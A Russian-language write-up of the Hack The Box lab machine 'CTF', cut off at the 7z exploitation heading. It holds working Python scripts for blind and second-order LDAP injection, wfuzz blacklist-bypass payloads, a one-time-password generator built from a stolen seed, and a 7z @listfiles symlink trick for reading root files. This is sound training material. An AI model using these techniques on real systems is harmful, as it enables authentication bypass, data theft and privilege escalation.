January 2, 2020

Вся информация предоставлена исключительно в ознакомительных целях.

Источник: t.me/USBKiller

Содержание статьи

  • Разведка
  • Nmap
  • Веб — порт 80
  • Браузер
  • stoken
  • Веб-форма авторизации
  • Перебор вариантов
  • Double URL Encoding
  • LDAP-инъекция
  • Одноразовые пароли (OTP)
  • LDAP-инъекция второго порядка
  • Reverse Shell
  • SSH — порт 22
  • honeypot.sh
  • Эксплуатация 7z
  • Эпилог
  • Оригинальные LDAP-запросы
  • Общаемся с сервером через FwdSh3ll

Сегодня мы пройдем виртуальную машину CTF с Hack The Box. В контексте этой статьи аббревиатура CTF будет расшифровываться как Compressed Token Format, а не Capture the Flag, а сама машина похвастается уязвимым к разному типу LDAP-инъекций веб-приложением, использованием генератора одноразовых паролей stoken в качестве механизма аутентификации на сервере, а также небрежно написанным скриптом на Bash, с помощью которого мы обманем архиватор 7z и получим root.

CTF — просто идеальная машина для составления райтапа: ее решение прямолинейно, нет множества развилок на пути, которые ведут в никуда и мешают следить за повествованием. Так что мне не придется выкручиваться и придумывать, какими словами лучше описать свой ход мысли при ее прохождении, чтобы сохранялась интрига. В то же время эта виртуалка весьма сложна (уровень Insane — 7,9 балла из 10), что делает ее особенно привлекательной для взлома тестирования на проникновение.

На пути к победному флагу нам предстоит:

  • поиграть со stoken — программой для Linux, которая генерирует одноразовые пароли (токены RSA SecurID);
  • разобраться с разными типами инъекций LDAP (Blind, Second Order);
  • написать несколько скриптов на Python для брута каталога LDAP;
  • злоупотребить функциями архиватора 7z, в частности его опцией @listfiles, для чтения файлов с правами суперпользователя.

Разведка

Nmap

Новая машина — новое сканирование портов. «Ни дня без Nmap!» — вполне годится на девиз пентестера.

Как обычно, разделим этот процесс на две части. Сперва вежливо осмотримся на предложенной к захвату территории с помощью обычного SYN-сканирования без излишеств.

root@kali:~# nmap -n -v -Pn -oA nmap/initial 10.10.10.122

root@kali:~# cat nmap/initial.nmap

# Nmap 7.70 scan initiated Sun Jul 28 15:02:31 2019 as: nmap -n -v -Pn -oA nmap/initial 10.10.10.122

Nmap scan report for 10.10.10.122

Host is up (0.077s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

Read data files from: /usr/bin/../share/nmap

# Nmap done at Sun Jul 28 15:02:41 2019 -- 1 IP address (1 host up) scanned in 10.17 seconds

К слову, опция -n даст Nmap понять, что мы не хотим, чтобы он пытался резолвить имя хоста в IP-адрес (так как мы уже указываем хост через его IP, а не через доменное имя), опция -v немного расширит получаемый от сканера фидбэк (степень детализации фидбэка можно наращивать, добавляя флаги -v вплоть до -vvv), а опция -Pn убедит Nmap в том, что нет необходимости проверять (с помощью ICMP-запроса), что хост «жив», перед началом самого сканирования, так как мы наверняка знаем, что машина сейчас в онлайне.

Также не забудь указать путь для сохранения отчетов сканирования во всех форматах через -oA на случай, если придется писать отчет об успешно проведенном тестировании на проникновение, ведь ты же на стороне благородных вайтхетов, я надеюсь?

Теперь можно чуть-чуть пошуметь, запросив более подробную информацию о запущенных сервисах на открытых портах и подключив к работе скриптовый движок NSE.

root@kali:~# nmap -n -v -Pn -sV -sC -oA nmap/version 10.10.10.122 -p22,80

root@kali:~# cat nmap/version.nmap

# Nmap 7.70 scan initiated Sun Jul 28 15:34:37 2019 as: nmap -n -v -Pn -sV -sC -oA nmap/version -p22,80 10.10.10.122

Nmap scan report for 10.10.10.122

Host is up (0.073s latency).

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

| ssh-hostkey:

| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)

| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)

|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)

80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)

| http-methods:

| Supported Methods: POST OPTIONS GET HEAD TRACE

|_ Potentially risky methods: TRACE

|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16

|_http-title: CTF

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Sun Jul 28 15:34:46 2019 -- 1 IP address (1 host up) scanned in 9.27 seconds

Итак, что же нам доступно.

  1. Демон веб-сервера Apache без зазрения совести «сливает» нам дистрибутив ОС — мы имеем дело с CentOS. При слове CentOS в голове сразу выстраивается ряд мыслей: это свободный дистрибутив Linux на основе Red Hat; платные версии программных продуктов документируются гораздо лучше, чем бесплатные; раз CentOS — это бесплатная версия RHEL, следовательно, зная версию платного дистра (которую мы найдем быстрее благодаря подробной документации), мы также будем знать и версию CentOS, с которой работаем в данный момент. С первой ссылки поисковика по запросу httpd versions red hat видим, что httpd 2.4.6 встроена в RHEL 7. Вот и ответ: перед нами CentOS 7.
  2. Открыто всего два порта: 22-й — SSH и 80-й — веб-сервер Apache. Очевидно, что начинать исследование будем с веба.

Веб — порт 80

В этой части уделим внимание тому, что происходит на веб-сервере атакуемой машины и чем мы здесь сможем разжиться.

Браузер

Перейдя по адресу http://10.10.10.122:80, ты увидишь объявление следующего характера.

Вот мой вольный перевод этого текста.

В рамках жизненного цикла разработки нашей системы (SDLC) нам необходимо испробовать предложенную технологию аутентификации, основанную на программных токенах, с помощью пентеста.
Залогинься, чтобы провести свои тесты.
Данный сервер защищен от некоторых видов атак, например от атаки методом «грубой силы». Поэтому если ты попытаешься забрутфорсить некоторые из доступных сервисов, ты можешь быть забанен на пять минут.
Если приложение тебя забанит, это будет полностью твоя вина, поэтому не перезапускай машину, не портя тем самым жизни других исследователей, но проведи время бана с пользой, размышляя о других векторах входа в систему.
Список забаненных IP-адресов можно найти [здесь]. У тебя может не получиться загрузить этот список, пока ты находишься в бане.

На http://10.10.10.122:80/login.php тебя как раз ожидает та форма авторизации, которую нельзя брутить, если верить объявлению с главной.

В исходниках этой страницы есть интересный комментарий, который немного проливает свет на детали используемой технологии аутентификации.

<!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) --> <!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->

Во-первых, речь идет о каком-то «атрибуте», который содержит токен (об этом чуть позже). Во-вторых, тот самый токен, как заверяет нас комментарий в сорцах, представляет собой строку длиной 81 символ (цифры). Вопросив поисковик о том, какой бывает софт для генерации одноразовых паролей в Linux, я нашел stoken.

stoken

Итак, stoken генерирует одноразовые пароли, совместимые с маркерами RSA SecurID 128 бит (AES). Маркеры SecurID обычно используются для аутентификации конечных пользователей на защищенных сетевых ресурсах и VPN, поскольку OTP обеспечивают большую устойчивость ко многим атакам, связанным со статическими паролями.

Я поискал слово ctf в readme, и, когда оно нашлось, я понял, что точно на верном пути.

Следующим шагом я решил найти упоминание о той строке из 81 цифры, речь о которой идет в HTML-коде страницы с авторизацией. Это упоминание было найдено и на первой странице из результатов поиска по запросу stoken 81 digits. И страница эта оказалась мануалом к stoken.

Здесь плюс ко всему прочему мы впервые узнаем, что скрывается за аббревиатурой CTF: Compressed Token Format, а не Capture The Flag, как я и обещал.

Веб-форма авторизации

Вернувшись к форме логина и попробовав авторизоваться как admin:0000, я увидел такое сообщение об ошибке.

Следом я попробовал элементарную SQL-инъекцию, использовав в качестве имени пользователя строку ' or 1=1 -- -... и не получил вообще никакой реакции от веб-сайта. Это навело меня на мысль, что на бэкенде с высокой долей вероятности существует некий черный список, содержащий определенные символы, которые форма не желает видеть в принципе. Скорее всего, это некий список управляющих символов, которые используются в выражениях, возвращающих выборку из БД по пользовательскому запросу.

Следовательно, передо мной на тот момент стояло две основные задачи: определить содержимое этого списка (чем бы он в итоге ни оказался) и получить имя пользователя, числящегося в базе данных сайта. Начнем.

Перебор вариантов

Да, я знаю, что нам запретили брутить, но ведь если очень хочется, то можно? К тому же у меня не было никакого желания вручную перебирать все специальные символы из блеклиста, за которым я охотился. Если не наглеть и использовать небольшие словари для перебора, то можно постараться не попасться.

Будем использовать мой любимый репозиторий, в котором есть словари для брутфорса на любой вкус, — SecLists. Найдем словари, содержащие специальные символы, передадим с помощью xargs результаты поиска утилите wc с флагом -c для подсчета символов в каждом найденном словаре (он оказался один) и взглянем на содержимое.

64 символа. Не критично, поэтому расчехляем веб-фаззер wfuzz — будем брутить.

INFO

wfuzz — написанный на Python фреймворк, который представляет собой фаззер веб-приложений и позволяет находить ошибки, анализируя ответы веб-сервера на тот или иной запрос.

Проанализировав структуру веб-формы, которую будем ломать (с помощью Burp, к примеру), составим запрос для wfuzz.

root@kali:~# wfuzz -w special-chars.txt --hw 233 -d 'inputUsername=FUZZ&inputOTP=0000' 10.10.10.122/login.php

  • Опция -w задаст путь до словаря, по которому нужно пройти.
  • Опция --hw (от hide words) скроет все ответы сервера, которые вернули 233 слова. Почему именно 233? Именно столько слов появляется на веб-странице, которая возвращается пользователю в случае, когда он получает сообщение об ошибке User <USER> not found (см. скриншот ранее): 229 слов изначально плюс 4 слова сообщения об ошибке. Такие ответы нас не интересуют, потому что мы ловим только случаи, когда эта строка в ответе не появляется, то есть когда что-то из содержимого поля юзернейма находится в блеклисте.
  • Опция -d определяет вид запроса, уходящий к серверу. На место заглушки FUZZ wfuzz подставляет слово из выбранного словаря (построчно). Мы фаззим поле inputUsername, отвечающее за имя пользователя, а до inputOTP нам пока дела нет, поэтому я поставил первое, что пришло в голову, — 0000.

В графе Payload мы получили список всех специальных символов, на которые форма авторизации отреагировала странно, а именно не так, как если бы пользователей с такими именами не было в базе данных: сервер просто проигнорировал запросы с этими символами в поле Username.

Интересно, что на символы & и + вообще третья реакция: форма пропускает эти символы, но почему-то не считает их за слова (а количество символов отличается). Что ж, не видя настроенного фильтра, нельзя быть уверенным, что именно здесь происходит. Будем считать, что это не баг, а фича, да и «в машине всегда были призраки, случайные сегменты кода, которые, скомпоновавшись вместе, образуют непредвиденные протоколы...».

После этого я еще немного поиграл с веб-формой на самом сайте и доигрался до следующего: если передавать «запрещенные» символы, дополнительно их закодировав, то хост отвечает ошибкой, как и при нормальном запросе, не содержащем спецсимволов в имени пользователя.

Объясню на примере: при попытке залогиниться с кредами *:0000 веб-форма просто перезагружалась и игнорировала запрос (срабатывает блеклист), а при попытке залогиниться с кредами %2a:0000 веб-форма вдруг вернула сообщение об ошибке входа. Заметь, даже не о том, что такого пользователя не существует, а просто что логин не удался.

Здесь-то все вмиг и прояснилось.

  1. Форма однозначно уязвима к какому-то типу инъекции, так как изменилось поведение сайта, когда я сумел «протащить» символ * в поле, предназначенное для имени пользователя. К какому именно типу, нам предстоит выяснить далее, но, судя по символам в блеклисте и комментарию в исходном коде страницы, уже сейчас можно сделать предположение.
  2. Обойти блеклист нам позволит не что иное, как Double URL Encoding.

Double URL Encoding

Когда ты отправляешь данные через веб-формы, с вероятностью 99,9% они предварительно оборачиваются в URL-кодирование (еще его называют Percent-encoding). Если без подробностей, то для спецсимволов, о которых мы говорили ранее, процесс очень прост: в начале идет управляющий символ (процент), а за ним следует ASCII-код кодируемого символа. К примеру, звездочка (*) будет закодирована как %2a, так как ее HEX-код — 2A в таблице ASCII.

Самое интересное, что когда я отправляю * в юзернейме через эту форму, то он URL-кодируется сервером по умолчанию. Если же отправлять уже закодированную вручную версию звездочки (%2a), она будет закодирована формой повторно, то есть получится %252a, потому что сам символ % имеет ASCII-код 25 в шестнадцатеричном виде.

Где-то после проверки на вхождение в черный список сервер дважды успешно декодирует нашу звездочку, и мы получаем нужный ответ. Механизм фильтрации запрещенных символов оказался уязвим к двойному URL-кодированию.

Теперь посмотрим, что еще пропустит блеклист в таком виде. Утилита wfuzz умеет кодировать полезную нагрузку, если задать флаг -z. В ее арсенале есть разные кодировщики, список всех доступных можно просмотреть командой wfuzz -e encoders.

Чтобы использовать wfuzz с двойным URL-кодированием каждого символа из файла, можно было бы попробовать следующую команду.

root@kali:~# wfuzz -z file,special-chars.txt,uri_double_hex --hw 233 -d 'inputUsername=FUZZ&inputOTP=0000' 10.10.10.122/login.php

Однако не ко всем символам кодировщик был применен корректно (может, в следующих сборках будет фикс), поэтому я решил воспользоваться более прямолинейным методом — словарем doble-uri-hex.txt из того же набора SecLists. Красным я добавил пояснение к полезной нагрузке: сначала идет символ в обычном URL-кодировании, затем его представление в человеческом виде.

В итоге видим, что форма странно реагирует на четыре печатаемых символа плюс нулевой байт: ), (, *, /. И здесь я уже почти уверился, что имею дело с LDAP-инъекцией.

LDAP-инъекция

LDAP — легковесный протокол прикладного уровня, предназначенный для доступа к службе каталогов. Под «службой каталогов» может подразумеваться как X.500 (как задумывалось изначально), так и любая другая иерархическая система управления базами данных (СУБД). Буква D в аббревиатуре означает Directory — так сложилось исторически. Если ты мало знаком с этим протоколом, то можешь смело заменять в уме Directory на Data: смысл не изменится, но поводов запутаться станет на один меньше.

WWW

Хорошее чтиво про LDAP

LDAP-инъекции не сильно отличаются от тех же SQLi — методологии эксплуатации в чем-то схожи. Первым делом было бы неплохо определить примерную структуру уязвимого запроса, в поведение которого ты собираешься бестактно вмешаться. Для этих целей можно воспользоваться символом закрывающей скобки ) и нулевым байтом %00, благо оба символа есть в нашем арсенале.

Чтобы понять, что конкретно будет происходить, необходимо иметь представление об общем виде запроса. Выглядеть он может, к примеру, следующим образом.

(& (key1=value1) (key2=value2) (key3=value3) )

Амперсанд здесь, очевидно, выполняет роль логического И, связывающего три утверждения в скобках. Так вот, допустим, что значение первого ключа (value1) подконтрольно пользователю при вводе. Тогда если вместо value1 мы отправим две закрывающие скобки и нулевой байт, который «срежет» оставшуюся часть запроса (аналог символа комментария -- для SQLi), то мы сможем определить, уязвим ли этот LDAP-запрос перед вмешательством.

В нашем случае если сервер спокойно съест измененный запрос и вернет ошибку, указывающую на то, что такого пользователя не существует, значит, ты сорвал джекпот и нашел валидное поле для инъекции, если ответом будет тишина — значит, неудача.

Чтобы облегчить себе жизнь и не мучиться с двойным кодированием в Burp, я составил небольшой скрипт на Python, который дважды оборачивает запрос в URL-кодировку, по необходимости добавляет нулевой байт и посылает серверу POST-запрос со всем этим безобразием в поле Username. Значение для поля OTP статично и случайно — сейчас оно не играет роли.

#!/usr/bin/env python3 ## -*- coding: utf-8 -*- ## Использование: python3 inject.py <ИНЪЕКЦИЯ> <НУЛЕВОЙ_БАЙТ> import sys import re from urllib.parse import quote_plus import requests ## Куда стучимся URL = 'http://10.10.10.122/login.php' ## Инъекция, закодированная в URL Encoding один раз (из первого аргумента скрипта) inject = quote_plus(sys.argv[1]) ## Нулевой байт, подаваемый по необходимости (из второго аргумента скрипта) null_byte = sys.argv[2] ## Данные для POST-запроса (библиотека requests закодирует значения повторно => получится Double URL Encoding) data = { 'inputUsername': inject + null_byte, 'inputOTP': '31337' } ## Отправляем запрос resp = requests.post(URL, data=data) ## Регулярками вытаскиваем ответ сервера match = re.search(r'<div class="col-sm-10">(.*?)</div>', resp.text, re.DOTALL) ## И выводим его на экран print(match.group(1).strip())

Теперь нам предстоит определить количество скобок, необходимое для того, чтобы измененный LDAP-запрос оказался «правильным». Начнем с одной и будем в конце добавлять нулевой символ для отбрасывания оставшейся части оригинального запроса. Потом попробуем две, затем — три.

На трех скобках сервер сообщил, что не знает такого пользователя, поэтому делаем вывод, что на самом деле структура оригинального запроса имеет примерно такой вид.

(& (& (key1=value1) (key2=value2) (key3=value3) ) (& (key4=value4) ... ) ... )

Отлично! Мы выяснили, что форма /login.php уязвима к LDAP-инъекции, и сделали предположение о структуре LDAP-запроса. Используем это, чтобы выкрасть авторизационные данные!

Дампим юзернейм

Чтобы вытащить из базы имя пользователя, будем пользоваться символом *, который успешно обрабатывается сервером. Сделаем предположение, что юзернейм начинается, например, с буквы a, тогда поведение формы при обработке запроса вида a* позволит определить, верно ли наше предположение. Так как мы можем судить о корректности наших суждений только по возвращаемым сообщениям об ошибках, то налицо классическая инъекция «вслепую», или Blind LDAP Injection.

Модифицировав немного свой скрипт, я прохожу по всем буквам латинского алфавита, отправляю серверу запросы вида <БУКВА>* и смотрю на ответ: если ошибка выглядит как User <БУКВА>* not found, значит, пользователя, имя которого начинается с буквы <БУКВА>, не существует, а если в ответ приходит Cannot login, значит, имя мы угадали (но, естественно, ошиблись в поле OTP, что сейчас не важно).

#!/usr/bin/env python3 ## -*- coding: utf-8 -*- ## Использование: python3 inject.py import re from string import ascii_lowercase from urllib.parse import quote_plus import requests URL = 'http://10.10.10.122/login.php' for c in ascii_lowercase: inject = c + quote_plus('*') data = { 'inputUsername': inject, 'inputOTP': '31337' } resp = requests.post(URL, data=data) match = re.search(r'<div class="col-sm-10">(.*?)</div>', resp.text, re.DOTALL) print(f'{c}* => {match.group(1).strip() == "Cannot login"}')

Отловив ошибки второго типа, я могу сдампить имя пользователя целиком. Для этого я снова немного изменю скрипт, чтобы не запускать его 100500 раз для каждой следующей верной буквы.

#!/usr/bin/env python3 ## -*- coding: utf-8 -*- ## Использование: python3 inject.py import re import time from string import ascii_lowercase from urllib.parse import quote_plus import requests URL = 'http://10.10.10.122/login.php' username, done = '', False print() while not done: for c in ascii_lowercase: inject = username + c + quote_plus('*') data = { 'inputUsername': inject, 'inputOTP': '31337' } resp = requests.post(URL, data=data) match = re.search(r'<div class="col-sm-10">(.*?)</div>', resp.text, re.DOTALL) if match.group(1).strip() == 'Cannot login': username += c break print(f'[*] Username: {username}{c}', end='\r') # sys.stdout.write(f'\r{username}{c}') time.sleep(0.2) else: done = True print(f'[+] Username: {username} \n')

Есть имя пользователя! Это ldapuser — кто бы мог подумать... Таким же способом предлагаю сбрутить и другие атрибуты LDAP.

Дампим остальные атрибуты

Теперь пришло время сказать пару слов о том, что собой представляет «атрибут» в терминологии LDAP. Если придерживаться строгих определений, то атрибут — это нечто, что содержит в себе объектный класс LDAP. Последний служит кирпичиком, из которых строятся записи базы данных. Другими словами, атрибутом можно назвать те самые ключи в парах «ключ — значение» (key1=value1, ...) из примера выше.

Мы уже видели подсказку в комментарии исходника HTML-страницы /login.php о некоем «существующем атрибуте», который содержит строку с токеном из 81 цифры. Что ж, настало время выяснить, какие атрибуты существуют в имеющемся у нас каталоге LDAP. Для этого я буду использовать wfuzz с пейлоадом такого вида.

root@kali:~# wfuzz -w attributes.lst --hw 233 -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a%2529%2529%2529%2500&inputOTP=0000' 10.10.10.122/login.php

Разберем подробнее. Во-первых, откуда был взят словарь attributes.lst? Я составил его из списка наиболее часто используемых атрибутов LDAP, помня о том, что в подсказке было уточнение относительно уже существующего атрибута. Значит, они не придумывали ничего своего.

Пейлоад ldapuser%2529%2528FUZZ%253d%252a%2529%2529%2529%2500 — это не что иное, как ldapuser)(FUZZ=*)))%2500, где FUZZ — это очередной атрибут из составленного мной списка. То есть я беру, к примеру, атрибут mail и проверяю, что он будет содержать ответ на запрос с пейлоадом ldapuser)(mail=*)))%2500. Если атрибут существует, то я получу сообщение об ошибке Cannot login, так как остальная часть LDAP-запроса корректна. Если атрибута не существует — не получу в ответ ничего, так как запрос попросту окажется неправильным.

Итак, шесть атрибутов из нашего словаря есть в каталоге. Где было бы логичнее всего хранить 81 цифру для токена CTF? Скорее всего, это будет значение атрибута pager, ведь на дворе 2019 год и пейджерами вряд ли кто-то еще пользуется. Ну да ладно, все равно мы ради интереса сбрутим все присутствующие атрибуты.

Я переименовал скрипт в brute.py, еще раз подправил его и сдампил все атрибуты по списку.

#!/usr/bin/env python3 ## -*- coding: utf-8 -*- ## Использование: python3 brute.py import re import time from datetime import timedelta from string import ascii_lowercase, digits from urllib.parse import quote_plus import requests URL = 'http://10.10.10.122/login.php' ATTRIBUTES = [ 'mail', 'cn', 'uid', 'userPassword', 'sn', 'pager' ] timestart = time.time() print() for a in ATTRIBUTES: attr, done = '', False while not done: if a == 'pager': charset = digits else: charset = ascii_lowercase + digits + '_-@.' for c in charset: # Инъекция вида "ldapuser)(<ATTRIBUTE>=*)))%00" inject = f'ldapuser{quote_plus(")(")}{a}{quote_plus("=")}{attr}{c}{quote_plus("*)))")}' data = { 'inputUsername': inject + '%00', 'inputOTP': '31337' } resp = requests.post(URL, data=data) match = re.search(r'<div class="col-sm-10">(.*?)</div>', resp.text, re.DOTALL) if match.group(1).strip() == 'Cannot login': attr += c break print(f'[*] {a}: {attr}{c}', end='\r') time.sleep(1) else: done = True print(f'[+] {a}: {attr} ') print(f'\n[*] Затрачено: {timedelta(seconds=time.time() - timestart)}')

Не забывая предостережение о возможном бане, заботливо оставленное на главной странице сервиса, я добавил задержку на одну секунду после отправки очередного запроса, чтобы минимизировать риски нарваться на тайм-аут. В итоге скрипту понадобилось 20 минут на перебор шести значений атрибутов (с учетом того, что userPassword оказался пустым).

Кстати, имя пользователя, которое мы брутили в предыдущем параграфе, — это так же, как все другие данные в мире LDAP, всего лишь значение очередного атрибута — uid. А вот в значении атрибута pager скрывалось как раз то, за чем мы охотились, — инициализатор (seed) генератора одноразовых паролей stoken.

Одноразовые пароли (OTP)

Установим stoken, чтобы было чем, собственно, генерировать OTP.

Заглянув в мануал, смотрим, как лучше всего его юзать в нашем случае.

root@kali:~# stoken --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000 --pin=0000

В параметре --token я передаю найденный ранее сид, а с помощью --pin задаю дефолтный PIN, чтобы софтина не спрашивала у меня его в интерактивном режиме. PIN — это локальная защита stoken, которая препятствует получению OTP кем попало, кто проходил мимо компьютера, но, так как у меня PIN не установлен, я передаю его значение по умолчанию 0000.

Далее следует учесть еще один важный момент: из-за того что все алгоритмы генерации одноразовых паролей опираются на время, установленное на хосте, как на механизм синхронизации срока валидности OTP, тебе нужно будет узнать, что показывают часы на сервере. Сделать это можно с помощью curl.

root@kali:~# curl -sv --stderr - 10.10.10.122 | grep Date

Так как инстансы виртуалок на Hack The Box не имеют выхода в Сеть, они не могут использовать протокол сетевого времени для синхронизации часов, поэтому для тебя время может отличаться от того, что показывает сейчас сервер CTF. Нужно сказать, что разница часовых поясов здесь роли не играет, потому что stoken использует POSIX-время (или Unix time) для генерации нового OTP.

Есть два варианта решения этой проблемы: первый — отключить синхронизацию времени у себя на машине, второй — воспользоваться опцией stoken --use-time, чтобы задать смещение часов между твоей ОС и сервером, где ты собрался аутентифицироваться.

Так как я использую Kali в VirtualBox, то я боюсь лишний раз вмешиваться в систему синхронизации времени после того, как однажды ее настроил. К слову, в VMware это делается проще, там есть отдельная галочка для настройки времени в конфиге самой ВМ, а вот в VBox черт ногу сломит, если ты решил пользоваться внешними серверами NTP, а не офлайн-синхронизацией с хостовой ОС.

Поэтому я выбрал второй вариант и решил написать небольшой скрипт, чтобы вычислять offset автоматически и передавать его stoken. Чтобы убить двух зайцев, я также добавлю немного жизни в свой скрипт и буду обновлять одноразовый пароль каждую секунду и выводить его в терминал в бесконечном цикле.

#!/usr/bin/env python3 ## -*- coding: utf-8 -*- ## Использование: python3 otp.py import time from datetime import datetime from subprocess import check_output import requests URL = 'http://10.10.10.122' while True: kali = datetime.utcnow() server = datetime.strptime(requests.head(URL).headers['Date'], '%a, %d %b %Y %X %Z') offset = int((server - kali).total_seconds()) cmd = [ 'stoken', '--token=285449490011357156531651545652335570713167411445727140604172141456711102716717000', '--pin=0000', f'--use-time={"%+d" % offset}' ] print(check_output(cmd).decode().strip(), end='\r') time.sleep(1)

Теперь в нашем распоряжении всегда находится свежий одноразовый пароль для доступа к защищенному содержимому веб-ресурса. Посмотрим же наконец, что скрывается за формой /login.php.

LDAP-инъекция второго порядка

Авторизуемся в веб-приложении как ldapuser с помощью OTP, который выдал скрипт выше. Нас перебрасывает на страницу http://10.10.10.122/page.php, где мы видим интерфейс для выполнения команд на удаленном сервере.

Пробуем выполнить любую команду (я ввел ls -la в поле Cmd) и видим следующее.

Пользователь должен быть членом группы root или adm и иметь валидный токен, чтобы выполнять команды на этом сервере.

Столько стараний, чтобы в итоге увидеть ЭТО?! Ну уж нет, давай разбираться.

Предположим, что механизм проверки, входит ли пользователь в упомянутые группы или нет, следующий: посылается еще один LDAP-запрос, выполняемый на /page.php, который берет логин, введенный нами ранее при авторизации на /login.php, и подставляет его в LDAP-структуру такого вида (в эпилоге, к слову, мы проверим все наши предположения относительно вида запросов LDAP).

(& (& (uid=$USERNAME) ... ) (| (group=root) (group=adm) ) ... )

Здесь USERNAME — это то имя пользователя, которое мы вводили на /login.php. Такая логика имеет право на существование, потому что я не видел ни одного места, где явно передавался бы юзернейм при отправке запроса на выполнение команды на /page.php.

Следовательно, на момент, когда пользователь авторизован, юзернейм уже известен серверу. Исходя из таких рассуждений, можно сделать вывод, что перед нами LDAP-инъекция второго порядка (по аналогии с Second Order SQLi), когда вредоносный запрос не исполняется непосредственно сейчас, но сохраняется в памяти сервера и будет исполнен при иных обстоятельствах в дальнейшем.

Тогда, чтобы обойти проверку на вхождение имени пользователя в группы root и adm, нужно всего лишь отсечь «хвост» запроса, который ее выполняет. Сделать это можно с помощью уже знакомого тебе нулевого байта %00: если переменная USERNAME будет содержать пейлоад вида ldapuser)))%00, то нежелательное условие (|(group=root)(group=adm)) «отвалится» и больше не будет препятствовать выполнению команд.

Победа: перелогинившись с кредами ldapuser)))%00 или ldapuser%29%29%29%00 под URL-кодировкой, я могу успешно триггерить удаленное выполнение команд.

Reverse Shell

От RCE до шелла рукой подать, поэтому, не откладывая в долгий ящик, получим сессию. Хардкорная версия: написать скрипт, который будет общаться с этой веб-формой и парсить результат выполнения команд из HTML-кода. Этот вариант я покажу в эпилоге, а пока более читерский способ.

Я буду использовать стандартный реверс-шелл PayloadsAllTheThings на Bash. Он работает по TCP через 443-й порт SSL, потому что на нем редко блокируется исходящий трафик.

По характерному зависанию странички видим, что команда выполнена успешно, и я получаю сессию.

К сожалению, у меня не получилось апгрейдить шелл до полноценного PTY, как я демонстрировал это в прохождении Mischief. Не уверен до конца, что послужило тому причиной, полагаю, таковы настройки системы: видимо, ограничено максимально возможное количество используемых девайсов PTY (из соображений безопасности в том числе).

Далее, посмотрев исходники page.php, я обнаружил пароль юзера ldapuser в хардкоде.

А это значит, что в нашем распоряжении теперь еще одна сессия — от имени пользователя ldapuser.

SSH — порт 22

Коннектимся к машине по SSH, потому что так будет приятнее осматриваться внутри, и практически сразу замечаем нестандартную директорию /backup в корне файловой системы.

Внутри находим тучу архивов с бэкапами, лог ошибок и интересный скрипт honeypot.sh.

Важное наблюдение, которое нам еще пригодится: архивы с бэкапами создаются каждую минуту.

На этом этапе, кстати, мы уже можем честно забрать первый флаг.

[ldapuser@ctf ~]$ cat user.txt

74a8e86f????????????????????????

honeypot.sh

## honeypot.sh ## get banned ips from fail2ban jails and update banned.txt ## banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds) /usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt ## awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt ## some vars in order to be sure that backups are protected now=$(date +"%s") filename="backup.$now" pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}') ## keep only last 10 backups cd /backup ls -1t *.zip | tail -n +11 | xargs rm -f ## get the files from the honeypot and backup 'em all cd /var/www/html/uploads 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ## cleaup the honeypot rm -rf -- * ## comment the next line to get errors for debugging truncate -s 0 /backup/error.log

Здесь все достаточно просто. В первой значащей строке скрипт обновляет информацию о забаненных после попыток брутфорса IP-адресах, а далее создает одиннадцать архивов .7z, запароленных с помощью флага суперпользователя. Нас будет интересовать 19-я строка, а именно сама команда архивирования бэкапов.

7za a /backup/$filename.zip -t7z -snl -p$pass -- *

Здесь с помощью опции -t7z задается формат будущих архивов, опция -snl говорит утилите, чтобы та не резолвила символические ссылки и оставляла их ссылками при добавлении файлов в архив, -p$pass устанавливает пароль шифрования, а вот то, что идет дальше, позволяет нам прочитать любой файл от имени root...

Дело тут вот в чем. Последовательность -- * используется для того, чтобы передать скрипту список всех имен файлов, находящихся в текущей рабочей директории (в нашем случае это /var/www/html/uploads, так как именно туда мы переходим одной командой раньше). Однако у 7z есть параметр @listfiles, который позволяет указать список файлов для добавления в архив.

Как это работает на примере: если я выполню команду вида 7za a test.zip @files.lst, где files.lst — это текстовый файл, содержащий список файлов, которые нужно запаковать, то 7z послушно создаст архив test.zip, содержащий все файлы из построчного списка files.lst. Удобно, не правда ли?

А теперь представим ситуацию, в которой я создаю в директории /var/www/html/uploads два файла: @F4CK7z и F4CK7z. Первый я оставлю пустым, а второй сделаю символической ссылкой на файл, который бы я хотел прочитать от имени суперпользователя. Скажем, это будет финальный флаг /root/root.txt. При таком раскладе 7z, не подозревая западни, заберет оба этих файла для «архивирования» и выполнит команду такого вида:

7za a /backup/$filename.zip -t7z -snl -p$pass @F4CK7z F4CK7z

Из-за того что указана опция @F4CK7z, 7z попытается прочитать содержимое файла F4CK7z, который лежит в этой же директории и представляет собой ссылку на /root/root.txt, а так как скрипт honeypod.sh выполняется от имени root, то у 7z получится открыть любой файл. Грубо говоря, команда выше превратится в нечто подобное:

7za a /backup/$filename.zip -t7z -snl -p$pass <флаг_суперпользователя> F4CK7z

Не найдя файла с именем флаг_суперпользователя, который, как кажется 7z, нужно положить в архив, архиватор вежливо сообщит о случившейся ошибке в логе error.log, который мы можем читать.

Эксплуатация 7z

